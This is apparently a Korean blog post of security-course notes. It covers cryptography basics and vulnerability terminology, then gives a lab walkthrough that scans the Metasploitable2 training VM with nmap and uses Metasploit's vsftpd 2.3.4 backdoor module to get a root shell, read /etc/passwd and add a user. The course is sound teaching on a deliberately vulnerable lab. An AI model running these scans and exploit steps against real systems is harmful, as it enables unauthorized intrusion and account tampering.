* 암호화를 하는 이유
- 기밀성(Confidentiality) : 내용이 노출되지 않도록 하는 것
- 무결성(Integrity) : 내용이 변조되지 않도록 하는 것
- 인증(Authentication) : 올바른 사용자임을 증명하는 것
- 부인봉쇄 : 아니라고 하지 못하게 하는 것
* 대칭키(Symmetric Key) = Secret Key = Session Key
- 암호화키와 복호화키가 서로 대칭을 이룸 ----> 사실상 하나의 키
- Feistel구조 : Lucifer, DES, 3DES 등등
- SPN구조(치환과 전치의 반복) : AES(Rijndael,리인델)
- 대칭키의 문제점 : 키 전달의 문제, 키 개수의 문제
* 공개키 방식
- 개인키(Private Key)와 공개키(Public Key) 한쌍으로 이루어져 있음
- 개인키는 자기 혼자만 보유, 공개키는 누구에게나 제공해도 됨
- 개인키로 공개키를 연산해 내는 것은 쉬운데, 공개키로 개인키를 알아내는 것은 불가능
1) Diffie-Hellman
- 대칭키 교환 문제를 해결 : 서로 공개키를 교환하고, 자신의 개인키와 연산해서 대칭키(세션키)를 생성해 냄
- 이산대수의 어려움에 근거 : 한쪽 방향으로는 계산하기 쉬움(검증), 반대 방향으로는 계산하기 어려움
2) RSA (Rivest, Shamir, Adleman)
- 기밀성 : 수신자의 공개키로 암호화해서 보냄
- 인증 : 송신자의 개인키로 암호화해서 보냄
- 소인수분해의 어려움 ex) 13*7 = 91
3) ECC (Elliptic Curve Cryptography, 타원곡선 암호화)
- 이산대수의 어려움에 근거한 방식
- 짧은 키길이로 강력한 암호화를 제공함 (키가 길수록 연산량이 많아짐 ---> CPU/Memory/Power소모량 증가)
- Mobile환경에 적합함 ---> 인스타그램, 유튜브, 페이스북
* Hash Function
1) 고정길이 출력 : 원문의 길이와 관계없이 고정길이로 출력됨
2) 일방향 함수 : 원문으로 해시값을 계산하는 것은 매우 쉽지만, 해시값으로 원문을 알아내는 것은 거의 불가능
3) 충돌 방지 : 해시값이 같은 원문은 거의 존재하지 않음
ps 1) 취약한 해시함수 : MD5, SHA-1 -----> 더이상 사용하면 안됨 (충돌쌍을 막 찾고 그럼...)
ps 2) 안전한 해시함수 : SHA-256이상을 사용해야 함 ex) SHA-2(256) 사용 사례 : Bitcoin, 공동인증서 등등
* 전자서명
- 생성 : 원문의 해시값에 송신자의 개인키로 암호화(서명)해서 원문에 붙여서 보냄
- 검증 : 서명된 해시값을 송신자의 공개키로 복호화해서 원문의 해시값과 비교해봄 ----> 일치하면 무결성 증명, 일치하지 않으면 변조
* 인증서(Certificate)
- 생성 : 공개키의 해시값에 인증기관의 개인키로 암호화(서명)
- 검증 : 서명된 해시값을 인증기관의 공개키로 복호화해서 공개키의 해시값과 비교해봄
* PKI
- 최상위 인증기관 (Root CA) : 인증기관을 관리
- 인증기관(CA) : 인증서를 발급하는 곳
- 등록기관(RA) : 인증서를 신청한 조직(회사,기관 등)을 검증하고 접수를 받음
* RSA의 특징
Boss(개인키,공개키) Killer(개인키, 공개키)
1) 기밀성 방식
"Ninja를 죽여라"라는 메시지를 Killer만 보게 하려면? Killer의 공개키로 암호화해서 보냄-------------->
---------------------> Killer는 자신의 개인키로 복호화를 함 (Killer만 볼 수 있음) : 비밀리에 Killer만 보았지만, Boss가 보냈다는 확신이 없음.
2) 인증 방식
"Ninja를 죽여라"라는 메시지를 Boss의 개인키로 암호화를 해서 보냄...
----> 분명히 Boss가 보낸게 맞음(Boss의 공개키로 복호화 되기 때문에 Boss의 개인키로 암호화했다는 증거임)
Killer는 Ninja를 죽였을까요? Ninja도 Boss공개키가 있기 때문에 복호화가 가능해서 모든 것을 알고 있었음.
* SSL/TLS
- 웹에서 암호화 통신을 하기 위해 사용하는 프로토콜
- 대칭키, 공개키, 해시함수도 사용 ----> Web Browser와 Web Server가 어떤 암호화 방식을 사용할건지 협의 (우선순위가 있음)
- 핵심 원리
웹서버가 자신의 공개키를 인증서 형식으로 제공
웹브라우저는 세션키를 생성해서 웹서버의 공개키로 암호화해서 웹서버에게 보냄 -------> 웹서버는 자신의 개인키로 복호화(세션키 나옴)
웹브라우저와 웹서버는 데이터를 보낼때 세션키로 암호화해서 보냄 ----> 상대방에게 받은 암호문은 세션키로 복호화를 함
참고) OpenSSL을 이용해서 자가 인증서 생성하기 (RootCA생성 --> 인증서 생성)
https://wnw1005.tistory.com/457
세션이 만료되었다... -----> 서버에서 session(쿠키대신 사용)의 유효기간이 있음 ----> 기간이 끝났다는 의미 (새로 본인 확인을 해라)
세션이 활성화되어 있는 동안 사용하는 키가 세션키 (세션이 만료되면 세션키도 버림)
=> 일반적으로는 Browser를 닫으면 세션키도 삭제됨
* 전자봉투
- 생성 : 원문의 해시값에 송신자의 개인키로 서명하고 원문 및 송신자의 공개키까지 첨부해서 세션키로 암호화함. 세션키는 수신자의 공개키로 암호화해서 첨부 ---> 오프라인으로 USB, 이메일, 채팅으로 보내도 됨
- 특징 : 기밀성, 무결성, 송신자에 대한 인증 및 부인봉쇄까지 모두 가능함
* 최근의 이슈
- AES의 키 길이의 문제 : 컴퓨터의 발전으로 크래킹 시간이 줄어들고 있음 ----> AES 128bit 안전성에 문제
- RSA 2048bit 이상을 사용해야 함
RSA512bit에서 RSA1024bit로 업그레이드 : 2004년
RSA1024bit를 RSA2048bit로 업그레이드 : 2012년
RSA4096bit는???? 대략 2028년쯤??
-----> 키를 계속 늘릴 수는 없기 때문에 ECC를 사용
ECC160bit가 RSA1024bit와 거의 비슷한 암호화 강도를 제공
---> 최근에는 ECC256bit 사용중 (Youtube, Instagram, Facebook등)
* 랜섬웨어들이 대부분 RSA2048bit를 사용해서 암호화를 함
---> 랜섬웨어 실행파일에 무엇이 들어있을까요? 공격자의 공개키가 들어있어서 파일을 공개키로 암호화함
---> 암호화했던 공개키에 대한 개인키를 돈받고 주겠다는 것!
---> 대응 방법 : 오프라인 백업(외장하드), 온라인 백업(클라우드에 업로드)
* 랜섬웨어가 대칭키로 암호화를 하면?
- 악성코드 실행 파일 안에 대칭키가 있을 것임 ----> 그 키만 찾으면 복호화가 가능함
* 가상화폐는 주로 해시의 원리를 이용 ex) SHA-256bit
- 앞 블록에 대한 해시값을 다음 블록의 헤더에 포함시킴 ----> Chain
- 중간 블럭을 바꿀 수 없음(내용을 바꿀수 없음) ------> 무결성 검증
- 기밀성은 제공하기 어려움 : 블럭안에 거래내역이 모두 들어있음 ----> 채굴기 설치하면 모든 블럭의 내용을 다 볼수 있음
* Exploit
* Asset (자산)
- 유형자산 : 컴퓨터, 회사건물, 공장, 인력, 고객 등
- 무형자산 : 브랜드이미지, 데이터, 저작권, 특허, 평판 등등
- 자산에는 약점이 존재
ex) 현금, 보석, 무기명채권, 콜드월렛(USB에 들어있는 암호화폐) 등의 약점은?? 도난 및 분실 등
ex) 가로수 (50~200만원)의 특징?? 포크레인, 트레일러 등등
* 취약점은 특정 버전에만 존재하는 것
- 취약점이 존재하면 패치를 적용하면 해결됨 -----> 버전이 달라짐
- 취약점 분석은 어떤 버전인지만 알면됨+그 버전에서 가지고 있는 취약점이 무엇인지
어떤 버전인지 확인(진단기능) : SW로 해결
그 버전에서 가지고 있는 취약점이 무엇인지(지식) : 클라우드에서 해결 가능, 검색(모르면 구글)
Quiz 1) 패치가 나올때까지 걸리는 평균 기간 (기준: 미국, 2018년 기준)은?
- 정답 : 두달
Quiz 2) 해킹을 당하고 그 사실을 인지하는데 걸리는 기간은?
- 정답 : 6개월 이상
* Zeroday Exploit
- 패치가 배포되기 전에, Exploit code를 먼저 만들어서 공격하는 사례
- 무방비 상태에서 공격 가능, 대응할 방법이 없는 상태임
- 알려지지 않은 취약점이라는 의미 -----> DarkWeb에서 거래가 되기도 함
* Oneday Exploit
- 알려진 취약점, 패치가 배포되었지만 아직 설치하지 않은 상태 (의존성 문제로 동작에 영향이 있을까봐 우려되어서)
- 패치를 설치하지 않은 시스템만 골라서 공격 가능함
- 알려진 취약점 ----> 공격방법도 유튜브,블로그,SNS 등에 나와있음
* 약점(Weakness) 공식 번호 : CWE-nnnnn
- CWE : Common Weakness Enumeration (보편적인 약점 목록화)
http://cwe.mitre.org (약점 관리 공식기관) The CWE Top 25(2022)
* 취약점 공식 번호 : CVE-YYYY-NNNNnnn
- YYYY년도 4자리 ----> 언제 발견된 것인지 확인
- NNNN(4자리부터) ~ NNNNnnn(7자리까지) 번호를 부여함
- http://cve.mitre.org : 취약점을 관리하는 공식기관 ----> cve.org로 이전
취약점 사례 분석) 프린트 나이트메어 취약점
https://www.boannews.com/media/view.asp?idx=98833
"프린트나이트메어 취약점은 CVE-2021-1675 아니고 제로데이"
----> 패치로 해결되지 않았기 때문
Quiz) MS 직원 중에 Tester의 비율은?
정답 : 50%
실습준비) 구글에 접속합니다.
검색창에 metasploitable2 를 검색하고 2번째 검색 결과 클릭
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
metasploitable-linux-2.0.0.zip 파일 클릭해서 다운로드 합니다.
metasploitable-linux-2.0.0.zip 압축을 풉니다.
VMware player를 실행합니다.
Player > File > Open 클릭하고 압축 푼 폴더에서 Metasploitable.vmx 파일 선택하고 열기
Play Virtual Machine 클릭
I copied it 선택 // 다른 컴퓨터에서 만든 이미지를 복사했기 때문
로그인 : msfadmin / msfadmin
(PW를 입력할 때에는 커서가 움직이지 않음)
마우스를 바깥으로 빼려면, Ctrl키와 Alt키를 동시에 눌렀다 떼면 됩니다.
* Metasploitable2
- 각종 취약한 버전을 골라서 설치한 Victim용 실습 이미지 ----> exploit 가능
- Rapid7이라는 회사에서 Metasploit(공격도구)를 팔고 있는데, 테스트해보기 위해서 metasploitable2를 만듦
$ sudo ls
( PW : msfadmin )
$ sudo adduser ive // adduser를 사용하면 마법사를 이용해서 PW, 전화번호 등등 물어봄, 홈디렉터리 만듦.
PW : after
$ sudo adduser aespa
PW : illusion
$ sudo adduser nct
PW : intheair
$ sudo useradd astro // 계정만 만듦, 홈디렉터리를 만들지 않음 -----> FTP를 사용할 수 없음
$ sudo passwd astro
PW : candy
* 계정을 만든 이유 : Exploit를 한 후에 계정을 크래킹 할 예정
실습준비) Kali Linux를 부팅
* Metasploit
- HD Moore가 Perl Script로 만든 취약점 공격 도구 (Error가 많음)
- Rapid7이라는 보안 전문회사에 Metasploit를 매각 (무료로 배포 버전 : Framework, 유료로 판매하는 버전 : Pro)
- 시작 : 피닉스아이콘(시작버튼) > 08 Exploitation Tools > Metasploit Framework 클릭
2230 exploits : 취약점 공격 모듈
867 payloads : Exploit 이후의 연결 방법
* IP 스캔
- 켜져 있는 시스템을 확인
$ sudo nmap -sn 192.168.5.129-140
(-s : scan, n : number )
(타겟 IP주소 확인 : 192.168.5.131)
* Port Scan
1. TCP scan
- 3Way Handshaking을 완성하는 스캐닝 ----> 로그가 남기 때문에 공격자는 잘 하지 않는 스캐닝임
$ sudo nmap -sT 192.168.5.131 // -s : scan, T : TCP
2. SYN scan
- 3Way Handshaking을 완성하지 않는 스캐닝 (SYN만 보내고 ACK를 보내지 않는 기법)
$ sudo nmap -sS 192.168.5.131
$ sudo nmap -sS 192.168.5.131 -p 1-20000 // 포트 번호 지정 가능
3. UDP scan
- 실행중인 UDP서비스를 확인하는 스캐닝
$ sudo nmap -sU 192.168.5.131
( ctrl+c 눌러서 중지... 시간이 너무 오래 걸림... )
4. OS scan
- 운영체제의 종류를 파악하기위한 스캐닝 (-s 옵션은 없음)
$ sudo nmap -O 192.168.5.131
* 엉터리 스캔(Stealth scan)
- TCP/IP의 논리에 맞지 않는 스캐닝 기법
- 열린 포트는 응답하지 않음, 닫힌 포트는 RST를 보냄 ----> 열린 포트와 닫힌 포트 구분 가능
- X-mas, FIN, Null 세가지 스캔 방식이 있음
5. X-mas scan
- 크리스마스에는 창고에 있던 전구를 꺼내서 켬
- TCP Flag를 모두 1로 만들어서 보내는 스캔인데, nmap에서는 FIN/URG/PSH만 활성화함
$ sudo nmap -sX 192.168.5.132
6. FIN scan
- FIN(종료요청)을 보내면 열린 포트는 응답없음, 닫힌 포트는 RST를 보냄
$ sudo nmap -sF 192.168.5.132
7. Null scan
- TCP Flag를 모두 0으로 만들어서 보내는 스캔
$ sudo nmap -sN 192.168.5.132
8. Version scan
- 버전을 알면, 취약점도 알 수 있음
$ sudo nmap -sV 192.168.5.131
9. All scan (여러가지 진행중으로 시간이 좀더 걸림)
- Script scan + OS scan + Traceroute + Version scan
$ sudo nmap -A 192.168.5.131 -T4 // -T : Timing, 0~6까지 숫자 사용 가능, 클수록 속도 빠름
* 21번포트는 FTP서비스를 실행하고 있다.
=> vsftpd 2.3.4라는 버전을 사용하고 있음 : Backdoor Command가 실행되는 취약점을 가지고 있음.
* Kali의 Metasploit를 사용했던 탭으로 와서
msf6 > search vsftpd // 취약점 모듈 검색
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor // 모듈 장착
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.5.131 // Target host 지정
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit // 공격 시작
Command shell session 1 opened // 연결 성공!!!
ip addr
192.168.5.131(132) => Target host의 IP주소 (접속되었다는 뜻)
cat /etc/passwd
----> ive, aespa, nct, astro의 계정이 보임
cd /home/nct
touch nct.txt => touch는 파일을 만드는 명령
echo "nct is very famous">>nct.txt => echo " "의 내용을 nct.txt에 넣음
* vsFTP의 2.3.4버전에 Backdoor 명령이 실행되는 취약점이 존재하기 때문
- Exploit를 해서 취약점을 공격했더니, Shell을 실행할 수 있었음 (root권한으로)
- root 이므로 계정 생성도 가능
useradd blackpink (blackpink 계정이 생성됨)
연결을 끊으려면, ctrl + c를 누름
Abort session 1? [y/N] y
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > back // 초기 상태로 돌아감
msf6>
vsftpd를 실행한 권한이 root권한이었기 때문에, 취약점 공격에 성공하면, 공격자에게 root권한이 주어짐
* 최종 정리
1단계 : nmap을 이용해서 Target host를 스캐닝
$ sudo nmap -A 192.168.5.131
2단계 : 버전 확인 -----> 구글에서 취약점 확인
3단계 : 스크립트로 확인(진짜로 공격이 가능한지)
4단계 : Metasploit으로 공격이 실제로 가능한지 확인
* Script Scaninng (3단계)
Kali Linux > nmap을 사용했던 두번째 탭 클릭
$ cd /usr/share/nmap/scripts
$ ls -l | wc -l // 파일의 개수를 세는 명령 (wc : word count)
$ sudo find . -name "*vsftp*" // .은 현재 디렉토리, -name이름을 검색 *vsftp* ----> 중간에 vsftp가 들어간 파일을 모두 찾음
-----> ftp-vsftpd-backdoor.nse
$ sudo nmap --script=ftp-vsftpd-backdoor.nse 192.168.5.131 -p 21
'Network' 카테고리의 다른 글
루키즈 교육 - 0922 학습 (0) | 2022.09.22 |
---|---|
루키즈교육 - 0921 학습 (0) | 2022.09.21 |
루키즈교육 - 0919학습 (0) | 2022.09.19 |
루키즈 교육 - 0915학습 (0) | 2022.09.15 |
Wireshark 사용법 (0) | 2022.04.06 |